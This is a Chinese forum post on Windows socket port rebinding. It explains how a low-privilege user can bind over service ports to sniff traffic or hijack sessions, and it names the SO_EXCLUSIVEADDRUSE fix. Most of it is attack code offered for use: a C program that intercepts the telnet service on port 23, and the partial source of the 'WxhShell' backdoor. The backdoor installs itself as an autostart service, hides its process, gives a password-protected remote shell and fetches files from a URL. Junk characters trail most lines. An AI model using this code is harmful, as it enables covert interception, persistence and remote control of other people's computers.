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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l]v *h0!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2,QkktJLo  
qs-:JmA_w  
  saddr.sin_family = AF_INET; \HK#d1>ox  
:f/ p5 c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^ACp_RM  
'pm2C6AC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '{oe}].,  
eIqj7UY_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 & vLX  
3?5 ~KxOE(  
  这意味着什么?意味着可以进行如下的攻击: (J^ Tss  
o!\O)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]B,S<*h  
? ! 1uw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F~l3?3ZV  
?ST}0F00}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [#R%jLEJ2  
:sPku<1is  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8v]{ 5  
SV\x2^Ea0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 10}Zoq|)n  
*!s4#|h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z ~VA#8>  
nev*TYY?A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dU&.gFw1  
>$Fc=~;Ba  
  #include mML^kgy\N  
  #include U<6k!Y9ny  
  #include dl":?D4H  
  #include    'g=yJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ka>RAr J  
  int main() +qz)KtJS  
  { 9lD,aOb  
  WORD wVersionRequested; l[fNftT-  
  DWORD ret; %MjPQ  
  WSADATA wsaData; yh0|f94m  
  BOOL val; %*19S.=l  
  SOCKADDR_IN saddr; }zobIfIF  
  SOCKADDR_IN scaddr; pKH4?F  
  int err; \ qs6%  
  SOCKET s; W#lvH=y  
  SOCKET sc; hr{%'DAS  
  int caddsize; -91l"sI  
  HANDLE mt; y2qESAZ%k}  
  DWORD tid;   YwF6/JA0^  
  wVersionRequested = MAKEWORD( 2, 2 ); v;RQVH;,  
  err = WSAStartup( wVersionRequested, &wsaData ); Kq S2  
  if ( err != 0 ) { h ?ia4t  
  printf("error!WSAStartup failed!\n"); Fb``&-Qm:  
  return -1; ~.@fk}'R  
  } .nSupTyG  
  saddr.sin_family = AF_INET; Z956S$gS  
   Qrt8O7&('  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7K;dVB  
XsG]-Cw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _L=vK=,  
  saddr.sin_port = htons(23); c\]L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "w'YZO]>  
  { "yz\p,  
  printf("error!socket failed!\n"); 4KM$QHS5{  
  return -1; :>;ps R  
  } 4vX]c  
  val = TRUE; 9Y4N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 asq/_`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hwc{%.%ae  
  { 52["+1g\  
  printf("error!setsockopt failed!\n"); hL3,/^;E,  
  return -1; 5{u6qc4FW  
  } FSQ&J|O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2s4=%l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DdQf %W8u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fM|g8(TK,  
XOeh![eMX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hv"toszj\  
  { 6>L.)V  
  ret=GetLastError(); tZ@ +18  
  printf("error!bind failed!\n"); z1FbW&V  
  return -1; Qr<%rU^{.  
  } I| j tpv}  
  listen(s,2); n% ` r  
  while(1) (O-)uC  
  { ~c="<xBE  
  caddsize = sizeof(scaddr); z^Jl4V  
  //接受连接请求 b$ x"&&   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `HS4(2+C  
  if(sc!=INVALID_SOCKET) "~(&5M\8`  
  { <bx9;1C>zd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <?zTnue  
  if(mt==NULL) h/fCCfO,  
  { kr*c?^b  
  printf("Thread Creat Failed!\n"); QB.'8B_  
  break; {''|iwLr  
  } B![5+  
  } 'iVo,m[yKU  
  CloseHandle(mt); BH-[q9pf  
  } 0o<q Eo^  
  closesocket(s); 5i/E=D  
  WSACleanup(); -PnC^r0L$  
  return 0; HEuM"2{DMM  
  }   *3/7wSV:  
  DWORD WINAPI ClientThread(LPVOID lpParam) Hr+-ndH!Pq  
  { @gqw]_W  
  SOCKET ss = (SOCKET)lpParam; `es($7}P_W  
  SOCKET sc; [[ e| GQ  
  unsigned char buf[4096]; 3opLLf_g  
  SOCKADDR_IN saddr; b66X])+4jE  
  long num; pq[mM!;#v  
  DWORD val; w}.'Tebu  
  DWORD ret; :xw3b)KS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I:e2sE ":  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f)zg&Ib  
  saddr.sin_family = AF_INET; F3Y>hs):7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); & .?HuK  
  saddr.sin_port = htons(23); BY0|exW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YSV,q@I&1  
  { ?&"^\p  
  printf("error!socket failed!\n"); } x.)gW  
  return -1; aVP|:OAj  
  } >jX UO  
  val = 100; Hk]BC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $&8h=e~]-  
  { UPKi/)C;  
  ret = GetLastError(); 7rSUSra  
  return -1; (oXN>^-D  
  } VWshFI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &{ {DS  
  { cY2-T#rL  
  ret = GetLastError(); '%EZoc/U  
  return -1; d# 3tQ*G/  
  } m I zBK]@^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %<?ciU  
  { w`}9/s;$  
  printf("error!socket connect failed!\n"); s1vrzze  
  closesocket(sc); v\Y}(fD  
  closesocket(ss); TJXraQK-=  
  return -1; <KwK tgzs  
  } Uk:.2%S2  
  while(1) 16QbB;  
  { z`/.v&<>V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #Q3PzDfj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RW 7oL:$dt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c[ ony:6  
  num = recv(ss,buf,4096,0); =$8@JF'  
  if(num>0) [S]!+YBK  
  send(sc,buf,num,0); d=Do@) m|  
  else if(num==0) cIr1"5POXK  
  break; wz+5 8(  
  num = recv(sc,buf,4096,0); d_C4B  
  if(num>0) t;!]z-Y>  
  send(ss,buf,num,0); ^ 6.lb\  
  else if(num==0) dPx<Dz;  
  break; ?Y{^un  
  } 8},<e>q  
  closesocket(ss); T;4` wB8@  
  closesocket(sc); kz0=GKic  
  return 0 ; 2Nn1-wdhb  
  } g?~Tguv  
-k&{nD|  
m`$>:B  
========================================================== V+qJrZ ,i  
g6g$nY@Jm  
下边附上一个代码,,WXhSHELL hoR=%pC*  
3l%,D: ?  
========================================================== M{xVkXc>  
@vQa\|j  
#include "stdafx.h" GzFE%< 9F  
V-_/(xt*  
#include <stdio.h> Hl3)R*&'J  
#include <string.h> 3u*hT T  
#include <windows.h> wm=RD98  
#include <winsock2.h> =x^l[>sz  
#include <winsvc.h> xb>n&ym?  
#include <urlmon.h> b(RB G  
0[lsoYUq  
#pragma comment (lib, "Ws2_32.lib")  gt_X AH  
#pragma comment (lib, "urlmon.lib") A)z PaXZ  
ADGnBYE  
#define MAX_USER   100 // 最大客户端连接数 &|N%#pYS  
#define BUF_SOCK   200 // sock buffer voV:H[RD9  
#define KEY_BUFF   255 // 输入 buffer -+}5ma  
T;!ukGoFP  
#define REBOOT     0   // 重启 &$c5~9p\B  
#define SHUTDOWN   1   // 关机 7':f_]  
h}|6VJ@.  
#define DEF_PORT   5000 // 监听端口 1s`)yu^`v  
U,<]J*b(@4  
#define REG_LEN     16   // 注册表键长度 C ]'g:93L  
#define SVC_LEN     80   // NT服务名长度 6<Z*Tvk{C  
PXosFz~  
// 从dll定义API S= -M3fP~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V5a?=vK9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sS2_-X[_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vUYJf99B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SFn 3$ rh  
8?7kIin  
// wxhshell配置信息 3Q"F(uE v^  
struct WSCFG { .G}k/`a  
  int ws_port;         // 监听端口 w< 65S  
  char ws_passstr[REG_LEN]; // 口令 PW%1xHLfk  
  int ws_autoins;       // 安装标记, 1=yes 0=no b,sGq  
  char ws_regname[REG_LEN]; // 注册表键名 wmo{YS3t|  
  char ws_svcname[REG_LEN]; // 服务名 yGvDn' m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dz`k[mI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q_T] 9d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 94|yvh.B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PK6*}y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @P:R~m2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4.|-m.a  
S Pn8\2Cj  
}; =4tO0  
FaFp_P?  
// default Wxhshell configuration oYz!O]j;a  
struct WSCFG wscfg={DEF_PORT, f.oP   
    "xuhuanlingzhe",  {l2N&  
    1, f=ac I|w  
    "Wxhshell", TMJ9~"IO  
    "Wxhshell", )N(9pnyZH  
            "WxhShell Service", (kIz  
    "Wrsky Windows CmdShell Service", pI7Ssvi^  
    "Please Input Your Password: ", X9fNGM1  
  1, ,+tPRkwA^  
  "http://www.wrsky.com/wxhshell.exe", 3J%V%}mD  
  "Wxhshell.exe" q2e]3{l3  
    }; bj@xqAGl  
Q,.By&  
// 消息定义模块 3;*z3;#}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?7 #7:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6b?`:$Cw3)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <EMkD1e  
char *msg_ws_ext="\n\rExit."; =m}TU)4.  
char *msg_ws_end="\n\rQuit."; ^m*3&x8  
char *msg_ws_boot="\n\rReboot..."; E4+b-?PB~  
char *msg_ws_poff="\n\rShutdown..."; $$JIBf8  
char *msg_ws_down="\n\rSave to "; ll^DY hx}  
XHxz @_rw  
char *msg_ws_err="\n\rErr!"; 90~*dNk  
char *msg_ws_ok="\n\rOK!"; -~ 0] 7Cpl  
?g2zmI!U  
char ExeFile[MAX_PATH]; W`$[j0  
int nUser = 0; 0 y< k][  
HANDLE handles[MAX_USER]; .f>,6?   
int OsIsNt; Dg~ [#C-  
S5N@\ x  
SERVICE_STATUS       serviceStatus; 3bH~';<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  tPA:_  
'61i2\[lZQ  
// 函数声明 Qyz>ZPu}sz  
int Install(void); u4YM^* S.  
int Uninstall(void); &Yp+k}XU  
int DownloadFile(char *sURL, SOCKET wsh); Xo Y7/&&  
int Boot(int flag); <_9!  
void HideProc(void); s~^*+kq  
int GetOsVer(void); td >,TW=A*  
int Wxhshell(SOCKET wsl); .Gh%p`<  
void TalkWithClient(void *cs); lop uf/U0  
int CmdShell(SOCKET sock); B{p4G`$i1  
int StartFromService(void); yRC3 . [  
int StartWxhshell(LPSTR lpCmdLine); }W$8M>l  
i\Yl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !z MDP/V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b^ sb]bZW  
zmI5"K"'F  
// 数据结构和表定义 XA1f' Kk  
SERVICE_TABLE_ENTRY DispatchTable[] = J A`H@qE  
{ JSgpb ?(  
{wscfg.ws_svcname, NTServiceMain}, =}v ;1m  
{NULL, NULL} h* s`^W3  
}; @EHIp{0.  
EKuSnlTXba  
// 自我安装 IIxJqGN:  
int Install(void) e_/x&a(i8  
{ s~J=<)T*6  
  char svExeFile[MAX_PATH]; -es"0wS<u  
  HKEY key; WfG(JJ  
  strcpy(svExeFile,ExeFile); WmNYO,>  
t?{B_Bf  
// 如果是win9x系统,修改注册表设为自启动 'T7x@a`b)  
if(!OsIsNt) { e1unzpWN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ZS TKi?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *| YU]b;W  
  RegCloseKey(key); sqpGrW.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )11W)G`w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QR"bYQ  
  RegCloseKey(key); 6NX3"i0 eT  
  return 0; 0|XKd24BN  
    } b`CWp;6Y  
  } ; 0ko@ \Lq  
} %/T7Z; d  
else { ^s{hs(8%R  
:p>hW!~  
// 如果是NT以上系统,安装为系统服务 Ma6W@S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]p]UTCo!'  
if (schSCManager!=0) Hx %$ X  
{ !>n|c$=;qk  
  SC_HANDLE schService = CreateService #Fs|f3-@  
  ( & [_ZXVva~  
  schSCManager, P~RhUKfd  
  wscfg.ws_svcname, -7%X]  
  wscfg.ws_svcdisp, yNa;\UF  
  SERVICE_ALL_ACCESS, ff E#^|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GK?4@<fY  
  SERVICE_AUTO_START, .9h)bf+  
  SERVICE_ERROR_NORMAL, *Qkc[XHqy  
  svExeFile, )(m0cP{7  
  NULL, +xp]:h|  
  NULL, y-B=W]E  
  NULL, *C6D3y  
  NULL, :#u}.G  
  NULL r_U>VT^E:  
  ); uS<_4A;sD,  
  if (schService!=0) $^_|j1 z#i  
  { p|qyTeg  
  CloseServiceHandle(schService); CzVmNy)kl  
  CloseServiceHandle(schSCManager); KX3KM!*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `8:Kp  
  strcat(svExeFile,wscfg.ws_svcname); $`ztiVu3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?6P.b6m}0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *(QH{!-$s  
  RegCloseKey(key); 8W+5)m.tp  
  return 0; 2) ?q 58  
    } t-7og;^8k  
  } p[v#EyoC  
  CloseServiceHandle(schSCManager); 9(,@aZ  
} U)D[]BVg  
} -5b A $  
rmd;\)#*`  
return 1; P)6 lu8zQ  
} 0$HmY2 Men  
.DguR2KT  
// 自我卸载 Vz%OV}\  
int Uninstall(void) \9:wfLF8!  
{ TDNf)Mm  
  HKEY key; '6-$Xq0^E  
L{8;Ud_2r  
if(!OsIsNt) { $_D6_|HK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6f)2F< 7  
  RegDeleteValue(key,wscfg.ws_regname);  HpW 42  
  RegCloseKey(key); SVWIEH0?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $t/rOo9cV  
  RegDeleteValue(key,wscfg.ws_regname); bRo|uJ:d  
  RegCloseKey(key); %Mn.e a  
  return 0; 1n=_y o  
  } L":bI&V?:  
} _P7tnXww  
} x_MJJ(q8g  
else { CN&  
*>q/WLR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sZhM a>  
if (schSCManager!=0) 'Ot,H_pE  
{ a|_p,_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9YN?  
  if (schService!=0) e8P-k3a"5:  
  { .Zmp ,  
  if(DeleteService(schService)!=0) { w?y 6nTg<  
  CloseServiceHandle(schService); xJwG=$o  
  CloseServiceHandle(schSCManager); K'5'}Lb5k  
  return 0; G64Fx*`  
  } V416g |lBO  
  CloseServiceHandle(schService); ?1I GYyu!  
  } 3l1cyPv  
  CloseServiceHandle(schSCManager); jO~:<y3 =  
} m D58T2 Z  
} jd-glE,Y/  
K^[#]+nQ  
return 1; {+.r5py  
} |L6&Gf]#5  
S:bC[}  
// 从指定url下载文件 aelO3'UN  
int DownloadFile(char *sURL, SOCKET wsh) _5Bcwa/  
{ &^".2)zU  
  HRESULT hr; O;9?(:_  
char seps[]= "/"; ExBUpDQc  
char *token; 8wZf ]_  
char *file; PWr(*ZP>hI  
char myURL[MAX_PATH]; =8{WZCW5  
char myFILE[MAX_PATH]; +A8j@d#:  
9N8I ip]w  
strcpy(myURL,sURL); M8&}j  
  token=strtok(myURL,seps); MCTsi:V>+  
  while(token!=NULL) \nqkA{;B{  
  { p0:kz l4$  
    file=token; OO) ~HV4\  
  token=strtok(NULL,seps); +IFw_3$  
  } /=?x{(B>  
q2aYEuu,  
GetCurrentDirectory(MAX_PATH,myFILE); H^%lDz  
strcat(myFILE, "\\"); L1{GL #qV  
strcat(myFILE, file); 5z}w}zdg  
  send(wsh,myFILE,strlen(myFILE),0); 23F/\2MSG  
send(wsh,"...",3,0); u.XQ&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `:NaEF?Sj  
  if(hr==S_OK) d3Mva,bw<  
return 0; G3i !PwW  
else u+m,b76  
return 1; r,1e 'd:  
}T2xXbU  
} "SxLN 8.:  
K>Fqf +_  
// 系统电源模块 bUwn}_7b  
int Boot(int flag) hZXXBp  
{ =wWpP-J&  
  HANDLE hToken; Sl2iz?   
  TOKEN_PRIVILEGES tkp; -fI`3#  
7cDU2l  
  if(OsIsNt) { {7hLsK[])  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sic"pn],U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); df}r% i  
    tkp.PrivilegeCount = 1; <W8t|jt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4*n#yVb/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +n0r0:z0  
if(flag==REBOOT) { }|OaL*|u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >SF Uy\3  
  return 0; =ac_,]z  
} tC?=E#3 V  
else { n: ui  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N?Q+ >  
  return 0; yF}OfK?0f  
} ))kF<A_MK  
  } z G }?  
  else { hg.#DxRi{  
if(flag==REBOOT) { ^n Jyo:DO;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {PP9$>4`l  
  return 0; Yf,K#' h:  
} >^Q&nkB"B  
else { O|IG_RL]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BF*kb2"GZ6  
  return 0; AN:sQX`  
} !%+2Yifna  
} jd]s<C3o  
"xI"  
return 1; aimarU  
} qU2~fNY  
k %e^kej  
// win9x进程隐藏模块 {R<Ea @LV+  
void HideProc(void) >zsid:  
{ /-_=nf}w  
x5`br.b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |:[tNs*,O  
  if ( hKernel != NULL ) +CH},@j  
  { K;?,FlH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9O` m,t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `pf4X/Py  
    FreeLibrary(hKernel); 6oaazB^L  
  } h!~3Dw>,N  
o+`6LKg;  
return; l& 4,v  
} <U5wB]]  
uzmk6G v  
// 获取操作系统版本 [yl sz?  
int GetOsVer(void) nkxzk$  
{ Hgeg@RP Q  
  OSVERSIONINFO winfo; ORGD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >z;[2 n'  
  GetVersionEx(&winfo); AqK z$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fx=Awba  
  return 1; ,g-EW jN  
  else rk+#GO{  
  return 0; YBYZ=,"d  
} K 8n4oz#z  
T{V/+RM  
// 客户端句柄模块 8`4<R6]LKB  
int Wxhshell(SOCKET wsl) M` q?Fk  
{ E J$36  
  SOCKET wsh; {FRAv(,\  
  struct sockaddr_in client; 2" |2a@  
  DWORD myID; p.ANVA@:  
!CX t*/~  
  while(nUser<MAX_USER) ] 2 #  
{ bfB\h*XO  
  int nSize=sizeof(client); '1,,)U#6E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5w%_$x  
  if(wsh==INVALID_SOCKET) return 1; =U8a ?0  
/{wJEuE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \!(  
if(handles[nUser]==0) 'O5'i\uz  
  closesocket(wsh); RZM"~ 0  
else }kw/W#)J  
  nUser++; 4h5g'!9-g  
  } b'VV'+|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {o5V7*P;_  
hjaT^(Y  
  return 0; .s#;s'>g  
} 1h6 ^>()^  
q@b|F-  
// 关闭 socket \V9Z #>  
void CloseIt(SOCKET wsh) O: @}lK+H  
{ m(], r})  
closesocket(wsh); -':Y\:W  
nUser--; Hzrtlet  
ExitThread(0); [: xiZ  
} uOa26kE4  
C6O8RHg  
// 客户端请求句柄  O+%WR  
void TalkWithClient(void *cs) W@y J AQ  
{ N`)$[&NG]  
b-3*Nl_%  
  SOCKET wsh=(SOCKET)cs; 8G5Da|\  
  char pwd[SVC_LEN]; zBO(`=|  
  char cmd[KEY_BUFF]; [((;+B  
char chr[1]; wApMzZ(X2y  
int i,j; i)#s.6.D>  
LL|7rS|o  
  while (nUser < MAX_USER) { ,J`'Y+7W  
nW;g28  
if(wscfg.ws_passstr) { aM7uBx\8 5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >A0k 8T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RI68%ZoL  
  //ZeroMemory(pwd,KEY_BUFF); sXd8rj:o  
      i=0; rr#K"SP  
  while(i<SVC_LEN) {  ;raN  
B||;'  
  // 设置超时 .VTy[|o   
  fd_set FdRead; K}6dg<  
  struct timeval TimeOut; Cy*|&=>j  
  FD_ZERO(&FdRead); l>Ub!^;  
  FD_SET(wsh,&FdRead); 0 IQ'3_  
  TimeOut.tv_sec=8; {.yStB. T  
  TimeOut.tv_usec=0;  ]xguBh]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E*#]**  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?$e9<lsQq)  
VUI|.76g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6a;v&5  
  pwd=chr[0]; nFe%vu8a  
  if(chr[0]==0xd || chr[0]==0xa) { %,hV[[@.  
  pwd=0; aR,}W\6M  
  break; TYI7<-Mp:[  
  } >vuY+o;B  
  i++; e" ]2=5g  
    } 7\ nf:.  
 9CCkqB/  
  // 如果是非法用户,关闭 socket )5|I_PXB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ='TE,et@d  
} 6sa"O89   
~G27;Npy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z}|(F RVk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %*#n d  
;<0LXYL;  
while(1) { 'R&uD~Q  
Yq(G;mjM  
  ZeroMemory(cmd,KEY_BUFF); V138d?Mm  
Z3!f^vAi&  
      // 自动支持客户端 telnet标准   bFA!=uvA  
  j=0; e@{i  
  while(j<KEY_BUFF) { 0oEOre3^%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z&V+#Ws/  
  cmd[j]=chr[0]; #GJ dZ  
  if(chr[0]==0xa || chr[0]==0xd) { E*?<KZe"  
  cmd[j]=0; \6;=$f/?t  
  break; L28*1]\Jh  
  } ;Jd3u -  
  j++; 6\61~u~  
    } I |# 5NE6  
W+*5"h  
  // 下载文件 Jv.U Q  
  if(strstr(cmd,"http://")) { MLFKH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w&xDOyW]  
  if(DownloadFile(cmd,wsh)) !~Q2|r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); au,t%8AC  
  else CR2_;x:0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eHDef  
  } Tr^nkD{  
  else { k1VT /u  
V^Hu3aUx8  
    switch(cmd[0]) { =}PdH`S  
  BcD&sQ2F  
  // 帮助 #$3yz'"QF  
  case '?': { Z@Ae$ '9H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]tY ^0a  
    break; * !^<m0  
  } X*,Kb(3   
  // 安装 =!m}xdTP  
  case 'i': { c^`]`xiX  
    if(Install()) %7O?JI [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uIU5.\"s  
    else ki>~H!zB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #2iD'>bQ  
    break; wp7!>% s{  
    } f{0F|w< gf  
  // 卸载 GUQ{r!S  
  case 'r': { 4Z|vnj)Z  
    if(Uninstall()) ~SSU`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JF/,K"J  
    else 9M"].~iNE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W5#611  
    break; I7^zU3]Ul  
    } pu,?<@0YK  
  // 显示 wxhshell 所在路径 0EJ(.8hwm  
  case 'p': { 5JhdV nT_  
    char svExeFile[MAX_PATH]; :NJ(r(QG>  
    strcpy(svExeFile,"\n\r"); V34hFa  
      strcat(svExeFile,ExeFile); -[L!3jU  
        send(wsh,svExeFile,strlen(svExeFile),0); ;l$ \6T  
    break; TY(bPq  
    } r]ShZBAbYp  
  // 重启 U.{l;EL:T  
  case 'b': { 6ksAc%|5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R>`}e+-D  
    if(Boot(REBOOT)) 4`Ic&c/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sKyPosnP  
    else { fg#x7v4O  
    closesocket(wsh); ly WwGR  
    ExitThread(0); ~zHg[X*  
    } >c-fI$]  
    break; E\;ikX&1  
    } +/D>|loRC  
  // 关机 >3u ]OSb  
  case 'd': { Dz./w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TE )gVE]  
